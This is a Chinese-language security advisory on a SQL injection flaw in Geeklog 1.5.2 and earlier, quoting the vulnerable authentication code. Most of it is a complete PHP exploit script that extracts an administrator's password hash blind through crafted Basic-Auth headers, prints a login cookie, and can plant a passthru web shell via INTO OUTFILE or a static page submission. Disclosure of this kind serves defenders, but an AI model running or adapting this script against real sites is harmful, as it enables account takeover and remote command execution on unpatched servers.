Geeklog SEC_authenticate()函数SQL注入漏洞


添加时间:
2009-05-08

系统编号:
WAVDB-01375
BUGTRAQ: 34456

影响版本:
Geeklog <= 1.5.2

程序介绍:

Geeklog是一个免费的、开放源码的Web应用程序。它可以使用户创建一个虚拟的社区,可以管理用户,张贴文章等。Geeklog采用PHP实现,以MySQL为后台数据库。

漏洞分析:

Geeklog的index.php模块中的SEC_authenticate()函数没有正确的验证用户所提交的PHP_AUTH_USER和REMOTE_USER变量参数,远程攻击者可以通过提交恶意查询请求执行SQL注入攻击。以下是/public_html/webservices/atom/index.php文件中34-53行的有漏洞代码段:

 
  1. ...   
  2. require_once '../../lib-common.php';   
  3.   
  4. if (PHP_VERSION < 5) {   
  5. $_CONF['disable_webservices'] = true;   
  6. else {   
  7.     require_once $_CONF['path_system'] . '/lib-webservices.php';   
  8. }   
  9. if ($_CONF['disable_webservices']) {   
  10.     COM_displayMessageAndAbort($LANG_404[3], '', 404, 'Not Found');   
  11. }   
  12. header('Content-type: ' . 'application/atom+xml' . '; charset=UTF-8');   
  13. WS_authenticate();   
  14. ...  
/system/lib-webservices.php文件780-877行的WS_authenticate()函数:
 
  1. ...   
  2. function WS_authenticate()   
  3. {   
  4. global $_CONF$_TABLES$_USER$_GROUPS$_RIGHTS$WS_VERBOSE;   
  5.   
  6. $uid = '';   
  7. $username = '';   
  8. $password = '';   
  9.   
  10. $status = -1;   
  11.   
  12. if (isset($_SERVER['PHP_AUTH_USER'])) {   
  13.     $username = $_SERVER['PHP_AUTH_USER'];   
  14.     $password = $_SERVER['PHP_AUTH_PW'];   
  15.   
  16.     if ($WS_VERBOSE) {   
  17.         COM_errorLog("WS: Attempting to log in user '$username'");   
  18.     }   
  19. elseif (!emptyempty($_SERVER['REMOTE_USER'])) {   
  20.   
  21.   
  22.     list($auth_type$auth_data) = explode(' '$_SERVER['REMOTE_USER']);   
  23.     list($username$password) = explode(':'base64_decode($auth_data));   
  24.   
  25.     if ($WS_VERBOSE) {   
  26.         COM_errorLog("WS: Attempting to log in user '$username' (via \$_SERVER['REMOTE_USER'])");  }   
  27. else {   
  28.     if ($WS_VERBOSE) {   
  29.         COM_errorLog("WS: No login given");   
  30.     }   
  31.   
  32.   
  33. }   
  34.   
  35. ...  
之后在907-909行:
 
  1. ...   
  2.  if (($status == -1) && $_CONF['user_login_method']['standard']) {   
  3.         $status = SEC_authenticate($username$password$uid);   
  4.     }   
  5.   
  6. ...  
/system/lib-security.php文件的695-717行:
 
  1. ...   
  2. function SEC_authenticate($username$password$uid)   
  3. {   
  4. global $_CONF$_TABLES$LANG01;   
  5.   
  6. $result = DB_query("SELECT status, passwd, email, uid FROM {$_TABLES['users']} WHERE username='$username' AND ((remoteservice is null) or (remoteservice = ''))"); //<------------------- SQL INJECTION HERE     
  7.   
  8.     $tmp = DB_error();   
  9. $nrows = DB_numRows($result);   
  10.   
  11. if (($tmp == 0) && ($nrows == 1)) {   
  12.     $U = DB_fetchArray($result);   
  13.     $uid = $U['uid'];   
  14.     if ($U['status'] == USER_ACCOUNT_DISABLED) {   
  15.         // banned, jump to here to save an md5 calc.   
  16.         return USER_ACCOUNT_DISABLED;   
  17.     } elseif ($U['passwd'] != SEC_encryptPassword($password)) {   
  18.   
  19.         return -1; // failed login   
  20.     } elseif ($U['status'] == USER_ACCOUNT_AWAITING_APPROVAL) {   
  21.         return USER_ACCOUNT_AWAITING_APPROVAL;   
  22.     } elseif ($U['status'] == USER_ACCOUNT_AWAITING_ACTIVATION) {   
  23.         // Awaiting user activation, activate:   
  24.         DB_change($_TABLES['users'], 'status', USER_ACCOUNT_ACTIVE,   
  25.                   'username'$username);   
  26.         return USER_ACCOUNT_ACTIVE;   
  27.     } else {   
  28.         return $U['status']; // just return their status   
  29.     }   
  30. else {   
  31.     $tmp = $LANG01[32] . ": '" . $username . "'";   
  32.     COM_errorLog($tmp, 1);   
  33.     return -1;   
  34. }   
  35. }   
  36.   
  37. ...  
可在这个函数的username参数中注入SQL代码,该参数来自$_SERVER['PHP_AUTH_USER']或$_SERVER['REMOTE_USER']变量。

漏洞利用:

 
  1. <?php   
  2.   
  3.      
  4.     $err[0] = "[!] This script is intended to be launched from the cli!";   
  5.     $err[1] = "[!] You need the curl extesion loaded!";   
  6.         
  7.     if (php_sapi_name() <> "cli") {   
  8.         die($err[0]);   
  9.     }   
  10.     if (!extension_loaded('curl')) {   
  11.         $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :   
  12.         false;   
  13.         if ($win) {   
  14.             !dl("php_curl.dll") ? die($err[1]) :   
  15.             nil;   
  16.         } else {   
  17.             !dl("php_curl.so") ? die($err[1]) :   
  18.             nil;   
  19.         }   
  20.     }   
  21.         
  22.     function syntax() {   
  23.         print (   
  24.         "Syntax: php ".$argv[0]." [host] [path] [OPTIONS] \n". "Options:              \   
  25. \n". "--port:[port]         - specify a port                                      \   
  26. \n". "                        default->80                                         \   
  27. \n". "--prefix              - try to extract table prefix from information.schema \   
  28. \n". "                        default->gl_                                        \   
  29. \n". "--uid:[n]             - specify an uid other than default (2,usually admin) \   
  30. \n". "--proxy:[host:port]   - use proxy                                           \   
  31. \n". "--skiptest            - skip preliminary tests                              \   
  32. \n". "--test                - run only tests                                      \   
  33. \n". "--export_shell:[path] - try to export a shell with INTO OUTFILE, needs \   
  34. Mysql\n". "                        FILE privilege                                     \   
  35. \n". "--sp                  -   submit a 'staticpage' with php code, needs geeklog  \   
  36. \n". "                        sp_php permission set to true for thestaticpage     \   
  37. \n". "                        plugin (not the default)                            \   
  38. \n". "Examples:   php ".$argv[0]." 192.168.0.1 /geeklog/                          \   
  39. \n". "            php ".$argv[0]." 192.168.0.1 /  --prefix --proxy:1.1.1.1:8080   \   
  40. \n". "            php ".$argv[0]." 192.168.0.1 /  --prefix \   
  41. --export_shell:/var/www\n". "            php ".$argv[0]." 192.168.0.1 /  --prefix \   
  42. --uid:3");  die();   
  43.     }   
  44.         
  45.     error_reporting(E_ALL ^ E_NOTICE);   
  46.     $host = $argv[1];   
  47.     $path = $argv[2];   
  48.         
  49.     $prefix = "gl_";   
  50.     //default   
  51.     $uid = "2";   
  52.     $where = "uid=$uid";   
  53.         
  54.         
  55.     $argv[2] ? print("[*] Attacking...\n") :   
  56.      syntax();   
  57.         
  58.     $_f_prefix = false;   
  59.     $_use_proxy = false;   
  60.     $port = 80;   
  61.     $_skiptest = false;   
  62.     $_verbose = false;   
  63.     $_test = false;   
  64.     $sp_submit = false;   
  65.     $into_outfile = false;   
  66.         
  67.     for ($i = 3; $i < $argc$i++) {   
  68.         if (stristr($argv[$i], "--prefix")) {   
  69.             $_f_prefix = true;   
  70.         }   
  71.         if (stristr($argv[$i], "--proxy:")) {   
  72.             $_use_proxy = true;   
  73.             $tmp = explode(":"$argv[$i]);   
  74.             $proxy_host = $tmp[1];   
  75.             $proxy_port = (int)$tmp[2];   
  76.         }   
  77.         if (stristr($argv[$i], "--port:")) {   
  78.             $tmp = explode(":"$argv[$i]);   
  79.             $port = (int)$tmp[1];   
  80.         }   
  81.             
  82.         if (stristr($argv[$i], "--uid")) {   
  83.             $tmp = explode(":"$argv[$i]);   
  84.             $uid = (int)$tmp[1];   
  85.             $where = "uid=$uid";   
  86.         }   
  87.         if (stristr($argv[$i], "--verbose")) {   
  88.             $_verbose = true;   
  89.         }   
  90.         if (stristr($argv[$i], "--skiptest")) {   
  91.             $_skiptest = true;   
  92.         }   
  93.         if (stristr($argv[$i], "--test")) {   
  94.             $_test = true;   
  95.         }   
  96.         if (stristr($argv[$i], "--export_shell:")) {   
  97.             $tmp = explode(":"$argv[$i]);   
  98.             $my_path = $tmp[1];   
  99.             $into_outfile = true;   
  100.         }   
  101.         if (stristr($argv[$i], "--sp")) {   
  102.             $sp_submit = true;   
  103.         }   
  104.     }   
  105.         
  106.     function _s($url$auth$is_post$request) {   
  107.         global $_use_proxy$proxy_host$proxy_port;   
  108.         $ch = curl_init();   
  109.         curl_setopt($ch, CURLOPT_URL, $url);   
  110.         if ($is_post) {   
  111.             curl_setopt($ch, CURLOPT_POST, 1);   
  112.             curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");   
  113.         }   
  114.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);   
  115.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; \   
  116. it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7");  curl_setopt($ch, CURLOPT_TIMEOUT, \   
  117. 0);     
  118.         if ($auth <> "") {   
  119.              $auth = array("Authorization: Basic ".$auth);   
  120.             curl_setopt($ch, CURLOPT_HEADER, 1);   
  121.             curl_setopt($ch, CURLOPT_HTTPHEADER, $auth);   
  122.         }   
  123.         if ($_use_proxy) {   
  124.             curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);   
  125.         }   
  126.         $_d = curl_exec($ch);   
  127.         if (curl_errno($ch)) {   
  128.             die("[!] ".curl_error($ch)."\n");   
  129.         } else {   
  130.             curl_close($ch);   
  131.         }   
  132.         return $_d;   
  133.     }   
  134.         
  135.     function find_prefix() {   
  136.         global $host$port$path$uid$pwd$url;   
  137.             
  138.         $_tn = "TABLE_NAME";   
  139.         $_ift = "information_schema.TABLES";   
  140.             
  141.         $_table_prefix = "";   
  142.         $j = -15;   
  143.         $usr = "' AND 0 UNION SELECT null,null,null,null FROM $_ift WHERE ".$_tn." \   
  144. LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";  $_o = _s($url, \   
  145. base64_encode($usr.":".$pwd) , 0, "");  if (chk_err($_o)) {   
  146.             die("[!] $_ift not availiable.");   
  147.         } else {   
  148.             print "[*] Initiating table prefix extraction...\n";   
  149.         }   
  150.         while (!$null_f) {   
  151.             $mn = 0x00;   
  152.             $mx = 0xff;   
  153.             while (1) {   
  154.                 if (($mx + $mn) % 2 == 1) {   
  155.                     $c = round(($mx + $mn) / 2) - 1;   
  156.                 } else {   
  157.                     $c = round(($mx + $mn) / 2);   
  158.                 }   
  159.                     
  160.                 $usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,(CASE WHEN \   
  161. (ASCII(SUBSTR(".$_tn." FROM $j FOR 1)) >= ".$c.") THEN '' ELSE $uid END) FROM $_ift \   
  162. WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";  $_o = _s($url, \   
  163. base64_encode($usr.":".$pwd) , 0, "");     
  164.                 if (chk_err($_o)) {   
  165.                     $mn = $c;   
  166.                 } else {   
  167.                     $mx = $c - 1;   
  168.                 }   
  169.                     
  170.                 if (($mx-$mn == 1) or ($mx == $mn)) {   
  171.                     $usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,(CASE WHEN \   
  172. (ASCII(SUBSTR(".$_tn." FROM $j FOR 1)) >= ".$c.") THEN '' ELSE $uid END) FROM $_ift \   
  173. WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";  $_o = _s($url, \   
  174. base64_encode($usr.":".$pwd) , 0, "");  if (chk_err($_o)) {   
  175.                         if ($mn <> 0) {   
  176.                             $_table_prefix = chr($mn).$_table_prefix;   
  177.                         } else {   
  178.                             $null_f = true;   
  179.                         }   
  180.                     } else {   
  181.                         if ($mx <> 0) {   
  182.                             $_table_prefix = chr($mx).$_table_prefix;   
  183.                         } else {   
  184.                             $null_f = true;   
  185.                         }   
  186.                     }   
  187.                     if (!$null_f) {   
  188.                         print ("[?] Table prefix->[??]".$_table_prefix."\n");   
  189.                     }   
  190.                     break;   
  191.                 }   
  192.             }   
  193.             $j--;   
  194.         }   
  195.         print "[?] Table prefix->".$_table_prefix."\n";   
  196.         return $_table_prefix;   
  197.     }   
  198.         
  199.         
  200.     function export_sh() {   
  201.         global $pwd$url$prefix$my_path;   
  202.         $usr = "' AND 0 UNION SELECT null,'<?php passtrhu(\$_GET[cmd]);?>',null,null \   
  203. INTO OUTFILE '".$my_path."/sh.php' FROM ".$prefix."users LIMIT 1/*";  $_o = _s($url, \   
  204. base64_encode($usr.":".$pwd) , 0, "");  if (chk_err($_o)) {   
  205.             print ("[*] Sql error.");   
  206.         } else {   
  207.             print ("[*] Done.");   
  208.         }   
  209.     }   
  210.         
  211.     function sp_php() {   
  212.         global $host$port$path$pwd$prefix$uid;   
  213.             
  214.         srand(make_seed());   
  215.         $id = rand(0x1, 0xffffff);   
  216.         echo "[*] id->".$id."\n";   
  217.             
  218.         $sh = "passthru(\$_GET[cmd]);";   
  219.             
  220.         //always specify the namespaceuri   
  221.         //if the staticpages.PHP permission is not avaliable, sp_php will be resetted \   
  222. to 0  $data = "<?xml version=\"1.0\"?>""<entry>""<title term=\"1\" \   
  223. xmlns=\"http://www.geeklog.net/xmlns/app/gl\">\x20\x20\x20\x20</title>". "<id \   
  224. xmlns=\"http://www.geeklog.net/xmlns/app/gl\">$id</id>". "<sp_content \   
  225. xmlns=\"http://www.geeklog.net/xmlns/app/gl\">$sh</sp_content>". "<sp_php \   
  226. xmlns=\"http://www.geeklog.net/xmlns/app/gl\">1</sp_php>". "<gl_etag \   
  227. xmlns=\"http://www.geeklog.net/xmlns/app/gl\">1</gl_etag>""</entry>";     
  228.         $usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,$uid FROM ".$prefix."users \   
  229.                 LIMIT 1/*";   
  230.         $url = "http://$host:$port".$path."webservices/atom/index.php?plugin=staticpag \   
  231. es";  $out = _s($url, base64_encode($usr.":".$pwd) , 1, $data);   
  232.             
  233.         if (chk_err($_o)) {   
  234.             print ("[*] Sql error.");   
  235.         } else {   
  236.             print ("[*] Done! \   
  237. Visit->http://$host:$port".$path."staticpages/index.php?page=$id&cmd=ls%20-la");  }   
  238.             
  239.     }   
  240.         
  241.     function make_seed() {   
  242.         list($usec$sec) = explode(' ', microtime());   
  243.         return (float) $sec + ((float) $usec * 100000);   
  244.     }   
  245.         
  246.     function chk_err($s) {   
  247.         if (stripos ($s, \   
  248. "\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\ \   
  249. x72\x72\x65\x64\x2e")) {  return true;   
  250.         } else {   
  251.             return false;   
  252.         }   
  253.     }   
  254.         
  255.     $pwd = "AAAA";   
  256.     $url = "http://$host:$port".$path."webservices/atom/index.php?plugin=staticpages"; \   
  257.      
  258.     if (!$_skiptest) {   
  259.         $out = _s($urlbase64_encode("':'") , 0, "");   
  260.         if (chk_err($out)) {   
  261.             print("[*] Vulnerable!\n");   
  262.         } else {   
  263.             die("[!] Not vulnerable.");   
  264.         }   
  265.     }   
  266.         
  267.     if ($_test) {   
  268.         die;   
  269.     }   
  270.         
  271.     if ($_f_prefix == true) {   
  272.         $prefix = find_prefix();   
  273.     }   
  274.         
  275.     if ($into_outfile == true) {   
  276.         export_sh();   
  277.         die;   
  278.     }   
  279.     if ($sp_submit == true) {   
  280.         sp_php();   
  281.         die;   
  282.     }   
  283.         
  284.     $c = array();   
  285.     $c = array_merge($c, range(0x30, 0x39));   
  286.     $c = array_merge($c, range(0x61, 0x66));   
  287.     $_hash = "";   
  288.     print ("[*] Initiating hash extraction ...\n");   
  289.     for ($j = 1; $j < 0x21; $j++) {   
  290.         for ($i = 0; $i <= 0xff; $i++) {   
  291.             $f = false;   
  292.             if (in_array($i$c)) {   
  293.                 //uid is mediumint, so if you assign a string value to it you have an \   
  294. sql error, so the script fails hence true/fails questions and you bypass speed limit \   
  295. also  $usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,(CASE WHEN (ASCII(SUBSTR(passwd \   
  296. FROM $j FOR 1))=$i) THEN '' ELSE $uid END) FROM ".$prefix."users WHERE $where LIMIT \   
  297. 1/*";  $out = _s($url, base64_encode($usr.":".$pwd) , 0, "");   
  298.                 if (chk_err($out)) {   
  299.                     $f = true;   
  300.                     $_hash .= chr($i);   
  301.                     print "[*] Md5 Hash: ".$_hash.str_repeat("?", 0x20-$j)."\n";   
  302.                     break;   
  303.                 }   
  304.             }   
  305.         }   
  306.         if ($f == false) {   
  307.             die("\n[!] Unknown error ...");   
  308.         }   
  309.     }   
  310.     print "[*] Done! Cookie: geeklog=$uid; password=".$_hash.";\n";   
  311. ?>   


解决方案:
厂商补丁:
Geeklog
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://geeklog.sourceforge.net/

信息来源:
<*来源:bookoo

链接:http://marc.info/?l=bugtraq&m=123929454313471&w=2
*>